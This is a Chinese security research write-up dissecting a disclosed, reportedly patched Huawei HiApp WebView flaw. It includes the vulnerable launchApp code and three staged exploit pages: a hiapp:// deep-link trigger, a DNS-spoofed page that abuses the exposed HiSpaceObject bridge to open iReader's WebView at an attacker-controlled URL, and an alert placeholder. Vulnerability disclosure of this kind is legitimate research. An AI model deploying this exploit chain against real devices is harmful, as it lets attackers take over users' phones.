*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。
* 本文作者:Tasfa,本文属FreeBuf原创奖励计划,未经许可禁止转载
0x01 前言
阅读本篇的基础是先理解上篇的攻击构造链路。
0x02 漏洞分析
不知道有没有细心的同学发现我在上篇分析文章中留下的彩蛋。本篇自然是从这个彩蛋切入.
this.mWebvewDelegate.initView(((Context)this), request);//我是彩蛋
this.mWebvewDelegate.loadPage(url); // 加载url
从上篇的分析我们已经知道mWebvewDelegate的实例类为: InternalWebviewDelegate
,那么切入InternalWebviewDelegate.initView函数进行分析。
public void initView(Context arg6, Request arg7) {
this.mContext = arg6;
WebSettings v0 = this.webview.getSettings();
...
this.webview.removeJavascriptInterface("accessibility");
this.webview.removeJavascriptInterface("accessibilityTraversal");
if(Build$VERSION.SDK_INT >= 17) {
this.webview.removeJavascriptInterface("searchBoxJavaBridge_");
}
...
this.webview.getSettings().setJavaScriptEnabled(true);//允许执行js脚本
this.webview.requestFocus();
this.webview.setWebViewClient(new InternalWebViewClient(this));
this.webview.setWebChromeClient(new MarketWebChromeClient(this));
this.webview.getSettings().setBlockNetworkImage(true);
this.webview.addJavascriptInterface(new HiSpaceObject(this.mContext, ((JsCallBackOjbect)this), this.webview), "HiSpaceObject"); // 关键点,暴露了一个对象
...
}
审计此代码可以发现setJavaScriptEnabled(true)
可执行js脚本,上篇分析我们已经可以通过DNS欺骗,使得最终加载的url为我们可构造的任意页面或脚本,也即是可控制js输入。
关于addJavascriptInterface的用法,可阅读参考文章。关键点就是HiSpaceObject.class类中的 @JavascriptInterface注解,有此注解的方法也就是我们可以控制调用的方法。其中包括安装APP,卸载APP等等函数。
根据漏洞作者描述,他们的主要目的是寻找RCE,而HiApp中又无法触发,因此需要寻找其他App的漏洞来触发,因此这里的重点是分析能不能启动其他App,而恰好又暴露了这样的方法。
@JavascriptInterface public void launchApp(String pkgName, String uri) {
URISyntaxException excrpt;
Intent intent;
a.a("HiSpaceObject", "launchApp"); //log
Intent newIntent = new Intent();
try {
intent = Intent.parseUri(uri, 0);//关键点
}
catch(URISyntaxException v0) {
URISyntaxException v5 = v0;
intent = newIntent;
excrpt = v5;
goto label_15;
}
try {
intent.setPackage(pkgName);
goto label_8;
}
catch(URISyntaxException excrpt) {
}
label_15:
a.d("HiSpaceObject", "uri error!" + excrpt.toString()); //log
label_8:
this.mActivity.startActivity(intent);//最终启动activity,这里我们可以控制Intent
}
分析以上代码我们可以发现,主要是需要两个参数,pkgName和Uri,最后调用startActivity去启动Activity。
这里自然就有问题了,如果没有办法传递一些extra到activity,那便是没有我们可以控制的数据流,也因此是没用的。但是由于调用了Intent.parseUri(uri, 0);
,那么是否有突破的机会?
通过查看源码可知(详见参考Intent.java)
* Flag for use with {@link #toUri} and {@link #parseUri}: the URI string
* always has the "android-app:" scheme. This is a variation of
* {@link #URI_INTENT_SCHEME} whose format is simpler for the case of
* http/https URI being delivered to a specific package name. The format
* is:
* <pre class="prettyprint">
* android-app://{package_id}[/{scheme}[/{host}[/{path}]]][#Intent;{...}]
* </pre>
因此可构造漏洞作者给出的PoC:
var pkg = "com.huawei.hwireader";
var uri = "android-app://http/www.google.co.uk/#Intent;component=com.huawei.hwireader/com.zhangyue.iRe ader.online.ui.ActivityWeb;action=com.huawei.hwireader.SHOW_DETAIL;S.url=http://192 .168.137.1:8000/stage3.html;end"; //这里是关键构造点,可参考Intent.java
window.HiSpaceObject.launchApp(pkg,uri);
http://192.168.137.1:8000/stage3.html
这里加载的URL即为攻击payload
0x03 漏洞利用
可以本地搭建环境,也可使用vps。首先构造恶意网站exploit.html。诱导用户在浏览器中访问该页面(触发点)。
<html>
<head>
<title>exploit huawei</title>
</head>
<body>
<script type ="text/javascript">
document.location = "hiapp://com.huawei.appmarket?activityName=activityUri|webview.activity&params={'params' : [ { 'name' : 'uri', 'type' : 'String', 'value' : 'internal_webview' }, { 'name' : 'url', 'type' : 'String', 'value' : 'http://www.vmall.com/exploit2.html' } ] }&channelId=1";
</script>
</body>
</html>
紧接着使用DNS欺骗(必要条件),目的是当internal_webview
解析www.vmall.com
时指向的ip地址为恶意攻击地址,同时构造exploit2.html,如下.
<html>
<head>
<title>exploit huawei stage 2 </title>
</head>
<body>
<script type ="text/javascript">
var pkg = "com.huawei.hwireader";
var uri = "android-app://http/www.google.co.uk/#Intent;component=com.huawei.hwireader/com.zhangyue.iReader.online.ui.ActivityWeb;action=com.huawei.hwireader.SHOW_DETAIL;S.url=http://www.tasfa.cn/stage3.html;end";
window.HiSpaceObject.launchApp(pkg,uri);
</script>
</body>
</html>
exploit2.html的主要作用是调起IReader APP的存在漏洞的WebView,并使其加载任意的url。这里加载第三阶段我们可以控制的exploit3.html代码。
本次实验exploit3.html使用代码如下:(其他具体利用代码将在之后的分析报告中阐述)
<html>
<head>
<title>exploit huawei stage 3 </title>
</head>
<body>
<script type ="text/javascript">
alert('pwn huawei');
</script>
</body>
</html>
完整过程可查看下面GIF:
0x04 漏洞总结
完整的攻击链路为:
- 诱导用户访问恶意网站exploit.html。
- 使用DNS劫持或其他方式,绕过internal_webview的域名白名单限制。
- 调用起其他APP存在漏洞的可利用的webView,加载恶意攻击页面,从而完成整个攻击链路。
我们从上面的分析来看,由于触发点是需要诱导用户点击,且点击后会弹出跳转提示(部分ROM),另一个点是用户路由器或WIFI设置等被控制,可实现必要条件DNS欺骗,因此整个攻击成功条件较为苛刻,用户只需有一定防范意识即可。
0x05 参考
Android 4.2版本以下使用WebView组件addJavascriptInterface方法存在JS漏洞
0x06 声明
本文章仅做学习研究用途,其他非法用途,本人概不负责。建议华为手机用户尽快更新HiApp以及IReader应用,以免遭到入侵控制,造成损失。
* 本文作者:Tasfa,本文属FreeBuf原创奖励计划,未经许可禁止转载